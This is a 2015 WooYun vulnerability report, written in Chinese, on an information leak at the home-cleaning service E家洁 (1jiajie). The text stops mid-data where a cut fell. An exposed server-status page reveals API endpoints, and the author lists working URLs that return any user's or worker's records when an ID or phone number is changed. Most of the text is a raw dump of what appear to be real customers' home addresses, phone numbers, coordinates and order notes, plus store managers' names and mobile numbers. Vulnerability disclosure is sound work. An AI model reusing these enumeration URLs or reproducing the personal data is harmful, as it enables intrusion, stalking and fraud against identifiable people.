E家洁某处信息泄露造成任意用户订单/银行卡/密码/住址/电话/个人详细资料泄露

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144573

漏洞标题：E家洁某处信息泄露造成任意用户订单/银行卡/密码/住址/电话/个人详细资料泄露

漏洞作者：路人甲

提交时间：2015-10-02 22:32

修复时间：2015-11-22 17:36

公开时间：2015-11-22 17:36

漏洞类型：网络敏感信息泄漏

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-02：细节已通知厂商并且等待厂商处理中
2015-10-08：厂商已经确认，细节仅向厂商公开
2015-10-18：细节向核心白帽子及相关领域专家公开
2015-10-28：细节向普通白帽子公开
2015-11-07：细节向实习白帽子公开
2015-11-22：细节向公众公开

简要描述：

E家洁某处信息泄露造成任意用户银行卡+密码/住址/电话/个人详细资料泄露

详细说明：

http://old.admin.1jiajie.com/server-status
一个记录

看看有什么有用的记录

<tr><td><b>380-3</b></td><td>10613</td><td>0/45/20741</td><td><b>W</b>
</td><td>0.75</td><td>17</td><td>0</td><td>0.0</td><td>0.97</td><td>472.26
</td><td>36.110.144.138</td><td nowrap>admin.1jiajie.com</td><td nowrap>POST /400/mt/queryOrder.php HTTP/1.1</td></tr>
<tr><td><b>381-3</b></td><td>15070</td><td>0/3/20573</td><td>_
</td><td>0.03</td><td>18</td><td>9</td><td>0.0</td><td>0.40</td><td>665.07
</td><td>127.0.0.1</td><td nowrap>web.1jiajie.dudujiaoche.com</td><td nowrap>GET /v2/worker_list.php?worker_id=17888&amp;platform_version=worker</td></tr>
<tr><td><b>382-3</b></td><td>14616</td><td>0/5/20511</td><td>_
</td><td>0.04</td><td>39</td><td>0</td><td>0.0</td><td>0.38</td><td>466.86
</td><td>171.117.187.202</td><td nowrap>www.1jiajie.com</td><td nowrap>GET //struts/webconsole.html HTTP/1.1</td></tr>
<tr><td><b>383-3</b></td><td>14079</td><td>0/9/20619</td><td>_
</td><td>0.10</td><td>5</td><td>191</td><td>0.0</td><td>0.25</td><td>480.67
</td><td>122.96.138.49</td><td nowrap>admin.1jiajie.com</td><td nowrap>POST /v2/index.php?action=order&amp;do=positShop HTTP/1.1</td></tr>
<tr><td><b>384-3</b></td><td>10423</td><td>0/59/20567</td><td>_
</td><td>0.44</td><td>25</td><td>53</td><td>0.0</td><td>0.64</td><td>478.63
</td><td>127.0.0.1</td><td nowrap>web.1jiajie.dudujiaoche.com</td><td nowrap>GET /v2/user_active.php?from=m_promo_code&amp;platform_version=wap3</td></tr>
<tr><td><b>385-3</b></td><td>10588</td><td>0/51/20855</td><td><b>W</b>
</td><td>0.37</td><td>27</td><td>0</td><td>0.0</td><td>0.98</td><td>493.61
</td><td>36.110.144.138</td><td nowrap>admin.1jiajie.com</td><td nowrap>POST /400/mt/queryOrder.php HTTP/1.1</td></tr>
<tr><td><b>386-3</b></td><td>10179</td><td>0/78/20534</td><td>_
</td><td>0.44</td><td>14</td><td>3</td><td>0.0</td><td>1.84</td><td>566.04
</td><td>127.0.0.1</td><td nowrap>web.1jiajie.dudujiaoche.com</td><td nowrap>GET /v2/search_order.php?status=0%2C1%2C2%2C3%2C4&amp;worker_tel=15</td></tr>
<tr><td><b>387-3</b></td><td>14180</td><td>0/16/20946</td><td>_
</td><td>0.25</td><td>0</td><td>1313</td><td>0.0</td><td>0.23</td><td>485.59
</td><td>114.242.248.185</td><td nowrap>web.1jiajie.dudujiaoche.com</td><td nowrap>GET /mobileapidriver2/driver_init?version_name=2.5&amp;longitude=11</td></tr>
<tr><td><b>388-3</b></td><td>7050</td><td>0/79/20649</td><td>_
</td><td>0.71</td><td>0</td><td>58</td><td>0.0</td><td>2.48</td><td>493.24
</td><td>114.111.167.159</td><td nowrap>web.1jiajie.dudujiaoche.com</td><td nowrap>GET /v2/user_active.php?city_name=%E5%8C%97%E4%BA%AC&amp;iOSVersion</td></tr>
<tr><td><b>389-3</b></td><td>4751</td><td>0/106/20818</td><td>_
</td><td>1.15</td><td>0</td><td>2</td><td>0.0</td><td>2.82</td><td>468.73
</td><td>171.117.187.202</td><td nowrap>www.1jiajie.com</td><td nowrap>GET /uploaderuploader.html HTTP/1.1</td></tr>
<tr><td><b>390-3</b></td><td>6140</td><td>0/89/20730</td><td>_
</td><td>0.90</td><td>15</td><td>4</td><td>0.0</td><td>2.04</td><td>491.04
</td><td>127.0.0.1</td><td nowrap>web.1jiajie.dudujiaoche.com</td><td nowrap>GET /v2/add_worker.php?worker_id=17607&amp;lng=113.319772&amp;lat=23.17</td></tr>
<tr><td><b>391-3</b></td><td>10455</td><td>0/54/20648</td><td>_
</td><td>0.34</td><td>36</td><td>1</td><td>0.0</td><td>0.66</td><td>678.00
</td><td>127.0.0.1</td><td nowrap>web.1jiajie.dudujiaoche.com</td><td nowrap>GET /v2/user_list.php?user_id=36864678,147853,3912265,53735372,</td></tr>
<tr><td><b>392-3</b></td><td>6256</td><td>0/98/20873</td><td>_
</td><td>0.59</td><td>28</td><td>1</td><td>0.0</td><td>3.29</td><td>691.32
</td><td>127.0.0.1</td><td nowrap>web.1jiajie.dudujiaoche.com</td><td nowrap>GET /v2/user_list.php?user_id=54286302,32720539,54182323,541214</td></tr>

随便打开一个看看

有住址，姓名，电话，订单号，金额，个人资料
银行卡密码都出来了
住址转下码

http://web.1jiajie.dudujiaoche.com///v2/worker_list.php?worker_id=17888&platform_version=worker
任意查看
http://web.1jiajie.dudujiaoche.com//v2/user_list.php?user_id=54286302,32720539,54182323,541214
修改id即可
任意订单记录查看
http://web.1jiajie.dudujiaoche.com//v2/search_order.php?worker_tel=13716953214&per_page=50&pag
修改tel即可
等等。。。。

漏洞证明：

{"code":"ok","msg":{"orderList":[{"id":"19555316","reserve_type_id":"0","service_type":"1","city_code":"131","street":"合生·滨江帝景","place_detail":"118—1—1002","extend_info":"","status":"5","order_src":"ios4.0","active_code_id":"0","is_hidden":"0","lat":"39.897325","lng":"116.698868","reserve_time":"2015-10-02 10:00:56","shop_id":"221","create_time":"2015-10-01 23:14:56","user_id":"26034493","worker_list":"8394","city_name":"北京","extend_admin_info":"很久没打扫了,上门前打个电话","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"0","address_id":"1543993","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"合生·滨江帝景118—1—1002","telphone":"13911656191","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1996647","create_time":"2015-10-02 02:04:13","order_id":"19555316","worker_id":"17888","status":"1","admin_id":"822","role":"","wage_record_id":"0"}]},{"id":"18660495","reserve_type_id":"0","service_type":"1","city_code":"131","street":"北京ONE","place_detail":"3号楼1-2001","extend_info":"","status":"5","order_src":"android_user4.2.2","active_code_id":"0","is_hidden":"0","lat":"39.913335","lng":"116.66178","reserve_time":"2015-09-29 15:00:48","shop_id":"221","create_time":"2015-09-28 20:11:48","user_id":"49753572","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"0","address_id":"1645209","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"北京ONE3号楼1-2001","telphone":"13241099881","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1990939","create_time":"2015-09-28 20:53:00","order_id":"18660495","worker_id":"17888","status":"1","admin_id":"822","role":"","wage_record_id":"0"}]},{"id":"18411777","reserve_type_id":"0","service_type":"1","city_code":"131","street":"隆孚大厦","place_detail":"1214","extend_info":"公司日常卫生保洁","status":"7","order_src":"wx","active_code_id":"0","is_hidden":"0","lat":"39.873964","lng":"116.669375","reserve_time":"2015-09-30 09:00:43","shop_id":"221","create_time":"2015-09-27 23:10:43","user_id":"4158846","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"","pay_amount":"0","is_paid":"0","pop_channel":"手机官网","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"0","address_id":"1688523","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"隆孚大厦1214","telphone":"18611256665","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1988836","create_time":"2015-09-28 05:38:09","order_id":"18411777","worker_id":"17888","status":"1","admin_id":"822","role":"","wage_record_id":"0"}]},{"id":"18411623","reserve_type_id":"0","service_type":"1","city_code":"131","street":"隆孚大厦","place_detail":"1214","extend_info":"公司日常卫生保洁","status":"7","order_src":"wx","active_code_id":"0","is_hidden":"0","lat":"39.873964","lng":"116.669375","reserve_time":"2015-09-29 09:00:46","shop_id":"221","create_time":"2015-09-27 23:09:46","user_id":"4158846","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"","pay_amount":"0","is_paid":"0","pop_channel":"手机官网","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"0","address_id":"1688523","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"隆孚大厦1214","telphone":"18611256665","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1988834","create_time":"2015-09-28 05:37:14","order_id":"18411623","worker_id":"17888","status":"1","admin_id":"822","role":"","wage_record_id":"0"}]},{"id":"17801085","reserve_type_id":"0","service_type":"1","city_code":"131","street":"通州华龙小区","place_detail":"30号楼4单元452","extend_info":"指定毕春英阿姨","status":"7","order_src":"","active_code_id":"698147","is_hidden":"0","lat":"39.936436","lng":"116.695722","reserve_time":"2015-09-26 19:00:00","shop_id":"221","create_time":"2015-09-25 19:44:28","user_id":"27915877","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"f8jk9i56","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"2","address_id":"1639769","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"通州华龙小区30号楼4单元452","telphone":"15810276521","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1984413","create_time":"2015-09-25 19:52:34","order_id":"17801085","worker_id":"17888","status":"1","admin_id":"389","role":"","wage_record_id":"0"}]},{"id":"17800376","reserve_type_id":"0","service_type":"1","city_code":"131","street":"通州华龙小区","place_detail":"30号楼4单元502","extend_info":"指定毕春英阿姨","status":"7","order_src":"","active_code_id":"698153","is_hidden":"0","lat":"39.936436","lng":"116.695722","reserve_time":"2015-09-26 16:00:00","shop_id":"221","create_time":"2015-09-25 19:41:01","user_id":"53429409","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"f8jk9i56","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"2","address_id":"1684412","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"通州华龙小区30号楼4单元502","telphone":"13810061706","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1984405","create_time":"2015-09-25 19:49:25","order_id":"17800376","worker_id":"17888","status":"1","admin_id":"389","role":"","wage_record_id":"0"}]},{"id":"17731722","reserve_type_id":"0","service_type":"1","city_code":"131","street":"通州华龙小区","place_detail":"30号楼4单元502","extend_info":"指定毕春英阿姨","status":"7","order_src":"","active_code_id":"698074","is_hidden":"0","lat":"39.936436","lng":"116.695722","reserve_time":"2015-09-25 18:00:00","shop_id":"221","create_time":"2015-09-25 13:49:17","user_id":"53429409","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"la6va6uw","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"2","address_id":"1684412","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"通州华龙小区30号楼4单元502","telphone":"13810061706","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1983293","create_time":"2015-09-25 13:54:55","order_id":"17731722","worker_id":"17888","status":"1","admin_id":"389","role":"","wage_record_id":"0"}]},{"id":"17731621","reserve_type_id":"0","service_type":"1","city_code":"131","street":"通州华龙小区","place_detail":"30号楼4单元502","extend_info":"指定毕春英阿姨","status":"7","order_src":"未知","active_code_id":"698072","is_hidden":"0","lat":"39.936436","lng":"116.695722","reserve_time":"2015-09-26 13:00:00","shop_id":"221","create_time":"2015-09-25 13:48:53","user_id":"53429409","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"vvm7h6nv","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"2","address_id":"1684412","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"通州华龙小区30号楼4单元502","telphone":"13810061706","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1983701","create_time":"2015-09-25 16:06:56","order_id":"17731621","worker_id":"17888","status":"1","admin_id":"389","role":"","wage_record_id":"0"}]},{"id":"17731008","reserve_type_id":"0","service_type":"1","city_code":"131","street":"通州华龙小区","place_detail":"30号楼4单元502","extend_info":"指定毕春英阿姨","status":"7","order_src":"","active_code_id":"698081","is_hidden":"0","lat":"39.936436","lng":"116.695722","reserve_time":"2015-09-25 14:00:00","shop_id":"221","create_time":"2015-09-25 13:45:45","user_id":"53520167","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"79ehx4c7","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"2","address_id":"1684404","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"通州华龙小区30号楼4单元502","telphone":"18612616263","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1983313","create_time":"2015-09-25 14:02:36","order_id":"17731008","worker_id":"17888","status":"1","admin_id":"389","role":"","wage_record_id":"0"}]},{"id":"17270175","reserve_type_id":"0","service_type":"1","city_code":"131","street":"通州区砖厂北里花石匠小区","place_detail":"122号楼3单元1001","extend_info":"请来两位阿姨","status":"7","order_src":"","active_code_id":"0","is_hidden":"0","lat":"39.879249","lng":"116.705112","reserve_time":"2015-09-25 09:30:00","shop_id":"7","create_time":"2015-09-23 21:45:48","user_id":"47102579","worker_list":"","city_name":"北京","extend_admin_info":"家有爱宠,上门前打个电话","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"0","address_id":"1620140","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"通州区砖厂北里花石匠小区122号楼3单元1001","telphone":"18611509596","user_name":"","user_type":"1","level":"1","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1979758","create_time":"2015-09-24 04:15:25","order_id":"17270175","worker_id":"17888","status":"1","admin_id":"822","role":"","wage_record_id":"0"}]},{"id":"17260499","reserve_type_id":"0","service_type":"1","city_code":"131","street":"北京ONE","place_detail":"3号楼1-2001","extend_info":"","status":"6","order_src":"android_user4.2.2","active_code_id":"0","is_hidden":"0","lat":"39.913335","lng":"116.66178","reserve_time":"2015-09-24 10:00:53","shop_id":"221","create_time":"2015-09-23 20:54:53","user_id":"49753572","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"","pay_amount":"0","is_paid":"1","pop_channel":"App下单","is_hide":"0","finish_time":"2015-09-24 12:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"0","address_id":"1645209","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"2015-09-24 09:00:53","address":"北京ONE3号楼1-2001","telphone":"13241099881","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1979692","create_time":"2015-09-23 22:38:03","order_id":"17260499","worker_id":"17888","status":"1","admin_id":"822","role":"中介兼职","wage_record_id":"0"}]},{"id":"17221254","reserve_type_id":"0","service_type":"1","city_code":"131","street":"通典铭居b座","place_detail":"C座2401","extend_info":"","status":"7","order_src":"android_user4.2.2","active_code_id":"0","is_hidden":"0","lat":"39.913833","lng":"116.642233","reserve_time":"2015-09-28 09:30:22","shop_id":"221","create_time":"2015-09-23 17:41:22","user_id":"53301399","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-00-00 00:00:00","worker_num":"1","sort_right":"2","intent_card":"0","sms_type":"1,2,3,4","is_response":"0","address_id":"1681650","worker_wage_id":"0","address_type":"0","recommend_worker_id":"0","is_used_worker":"0","begin_time":"0000-00-00 00:00:00","address":"通典铭居b座C座2401","telphone":"18310362575","user_name":"","user_type":"0","level":"0","confirm":"","peroid_week":"","reserve_info":"","assing_worker":[{"id":"1979449","create_time":"2015-09-23 19:04:59","order_id":"17221254","worker_id":"17888","status":"1","admin_id":"822","role":"","wage_record_id":"0"}]},{"id":"17101972","reserve_type_id":"0","service_type":"1","city_code":"131","street":"加州小镇","place_detail":"C区158号楼一单元1204","extend_info":"","status":"5","order_src":"ios4.2","active_code_id":"0","is_hidden":"0","lat":"39.874072","lng":"116.688134","reserve_time":"2015-09-27 09:00:18","shop_id":"221","create_time":"2015-09-23 08:29:18","user_id":"51666","worker_list":"","city_name":"北京","extend_admin_info":"","free_order_time":"0","second_phone":"","invisible":"0","pop_community_id":"0","charge_reward_id":"0","pay_way":"","pay_account":"","active_code":"","pay_amount":"0","is_paid":"0","pop_channel":"App下单","is_hide":"0","finish_time":"0000-

<code>00:00:00","last_login_ip":"","client_version":"23","version_name":"2.5","device_token":"","mac_add":"60:8F:5C:C3:1D:F2","server_type":"1","is_agency":"1","bank_from":"中国工商银行黑龙江省大兴安岭呼中区","cur_lng":"0","cur_lat":"0","spare_type":"全天接活","message_id":"","face":"http:\/\/static.1jiajie.com\/worker\/face\/17888.jpg","id_card":[]}],"shopList":{"1":{"shop_id":"1","shop_name":"北京大悦城店","create_time":"2014-03-01 19:43:45","city_code":"131","shop_address":"青年路华纺易城10-4-101（57251132、58431239、57295105、56192287、57287969、56250013）","shop_phone":"57251132","shop_boss":"景春琳","create_admin_id":"151","stores_code":"015","stores_create_time":"2014-12-10 18:21:35","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"2":{"shop_id":"2","shop_name":"北京四季青店","create_time":"2014-04-02 13:00:51","city_code":"131","shop_address":"远大园二区一号楼1b1e（57251128、58431238、57251125）","shop_phone":"57251128","shop_boss":"张会霞","create_admin_id":"285","stores_code":"016","stores_create_time":"2014-12-10 18:22:01","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"3":{"shop_id":"3","shop_name":"北京双井店","create_time":"2014-04-16 13:05:07","city_code":"131","shop_address":"北京市朝阳区广渠路29号九龙花园2号楼B座0112 （56202681 56250112 56250097 56267715 56205132）","shop_phone":"56202681","shop_boss":"高远 13001910851","create_admin_id":"151","stores_code":"017","stores_create_time":"2014-12-10 18:22:21","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"4":{"shop_id":"4","shop_name":"北京望京店","create_time":"2014-05-09 15:49:57","city_code":"131","shop_address":"朝阳区望京国风北京609号楼8单元103（56203258、56202779、56202775、57491625）","shop_phone":"56203258","shop_boss":"王瑞涛 13522236322","create_admin_id":"151","stores_code":"018","stores_create_time":"2014-12-10 18:22:44","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"5":{"shop_id":"5","shop_name":"北京天通苑店","create_time":"2014-06-04 13:23:11","city_code":"131","shop_address":"天通苑北一区10号楼5单元101(57492100、57492101、56202890)","shop_phone":"57492100","shop_boss":"阮建峰 15010139865","create_admin_id":"151","stores_code":"019","stores_create_time":"2014-12-10 18:23:02","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"6":{"shop_id":"6","shop_name":"北京丰台店","create_time":"2014-06-04 13:23:32","city_code":"131","shop_address":"北京市朝阳区广渠路29号九龙花园2号楼B座0112","shop_phone":"01058449615","shop_boss":"石园15010172018","create_admin_id":"254","stores_code":"020","stores_create_time":"2014-12-10 18:23:21","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"7":{"shop_id":"7","shop_name":"北京通州店","create_time":"2014-06-04 13:23:31","city_code":"131","shop_address":"通州北苑南路44号院8号楼1单元102(57295009 、57295008)","shop_phone":"57295009","shop_boss":"王文艺 18513627801","create_admin_id":"151","stores_code":"021","stores_create_time":"2014-12-10 18:23:37","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"8":{"shop_id":"8","shop_name":"上海徐汇店","create_time":"2014-06-04 13:23:31","city_code":"289","shop_address":"天钥桥路500弄8号万体景园501室","shop_phone":"13671586579","shop_boss":"蒋怡倩","create_admin_id":"151","stores_code":"022","stores_create_time":"2014-12-10 18:23:56","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"9":{"shop_id":"9","shop_name":"成都桐梓林店","create_time":"2014-07-30 15:50:55","city_code":"75","shop_address":"成都市武侯区桐梓林东路1号世纪锦苑2栋2单元101","shop_phone":"13981863648","shop_boss":"邬永英","create_admin_id":"151","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"20":{"shop_id":"20","shop_name":"广州体育西路","create_time":"2014-07-25 18:25:38","city_code":"257","shop_address":"体育西路六运一街11号3楼","shop_phone":"0","shop_boss":"0","create_admin_id":"0","stores_code":"027","stores_create_time":"2014-12-10 18:24:17","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"21":{"shop_id":"21","shop_name":"北京城市拓展部","create_time":"2014-08-07 16:48:25","city_code":"131","shop_address":"双井","shop_phone":"13333333333","shop_boss":"张建勇","create_admin_id":"151","stores_code":"006","stores_create_time":"2014-12-10 18:25:09","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"22":{"shop_id":"22","shop_name":"北京家电事业部","create_time":"2014-08-07 16:48:57","city_code":"131","shop_address":"双井","shop_phone":"15901319160","shop_boss":"高准","create_admin_id":"151","stores_code":"009","stores_create_time":"2014-12-10 18:25:38","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"23":{"shop_id":"23","shop_name":"BJKHSYB","create_time":"2014-08-07 16:49:20","city_code":"131","shop_address":"双井","shop_phone":"13333333333","shop_boss":"李军营","create_admin_id":"88","stores_code":"008","stores_create_time":"2014-12-10 18:25:56","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"24":{"shop_id":"24","shop_name":"上海浦东店","create_time":"2014-08-11 12:13:29","city_code":"289","shop_address":"上海市浦东新区博山路200弄12号楼102室","shop_phone":"18721895169","shop_boss":"任尚谦","create_admin_id":"151","stores_code":"023","stores_create_time":"2014-12-10 18:26:17","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"25":{"shop_id":"25","shop_name":"上海长宁店","create_time":"2014-08-11 12:15:30","city_code":"289","shop_address":"上海市凯旋北路大华清水湾48号楼101","shop_phone":"13381081038","shop_boss":"石红超","create_admin_id":"151","stores_code":"026","stores_create_time":"2014-12-10 18:26:30","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"26":{"shop_id":"26","shop_name":"广州宝岗店","create_time":"2014-08-12 14:34:22","city_code":"257","shop_address":"宝岗大道268号中新大厦2210室","shop_phone":"02038358587","shop_boss":"范志毅 18665565147","create_admin_id":"254","stores_code":"028","stores_create_time":"2014-12-10 18:26:48","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"27":{"shop_id":"27","shop_name":"上海城市拓展部","create_time":"2014-08-14 19:01:57","city_code":"289","shop_address":"上海城市拓展部","shop_phone":"13816257090","shop_boss":"蒋毅韻","create_admin_id":"151","stores_code":"010","stores_create_time":"2014-12-10 18:27:55","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"28":{"shop_id":"28","shop_name":"南京站总部","create_time":"2014-08-15 20:55:08","city_code":"315","shop_address":"南京","shop_phone":"13333333333","shop_boss":"时健","create_admin_id":"254","stores_code":"014","stores_create_time":"2014-12-10 18:28:40","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"29":{"shop_id":"29","shop_name":"成都西门店","create_time":"2014-08-25 17:28:28","city_code":"75","shop_address":"四川省成都市青羊区苏坡东路27号（二十一世纪花园）二期35栋5单元201室","shop_phone":"13658060272","shop_boss":"王辰甫","create_admin_id":"254","stores_code":"031","stores_create_time":"2014-12-10 18:28:58","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"30":{"shop_id":"30","shop_name":"……","create_time":"2014-09-02 15:10:01","city_code":"340","shop_address":"深圳……","shop_phone":"18029729978","shop_boss":"高远","create_admin_id":"151","stores_code":"","stores_create_time":"0000-00-00 00:00:00","stores_create_admin_id":"0","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"31":{"shop_id":"31","shop_name":"上海黄浦店","create_time":"2014-09-03 15:05:29","city_code":"289","shop_address":"上海黄浦区中山南一路500弄丽都大厦1号楼101室","shop_phone":"18721895169","shop_boss":"任尚谦","create_admin_id":"151","stores_code":"024","stores_create_time":"2014-12-10 18:29:13","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"32":{"shop_id":"32","shop_name":"广州黄埔店","create_time":"2014-09-04 17:39:01","city_code":"257","shop_address":"黄埔区丰乐中路91号大院1号首层","shop_phone":"02082481051","shop_boss":"刘承长 15920856010","create_admin_id":"254","stores_code":"029","stores_create_time":"2014-12-10 18:29:29","stores_create_admin_id":"340","agency_id":"0","bank_card":"","bank_name":"","bank_add":"","pwd":"","bank_people":""},"34":{"shop_id":"34","shop_name":"杭州城市拓展部","create_time":"2014-09-09 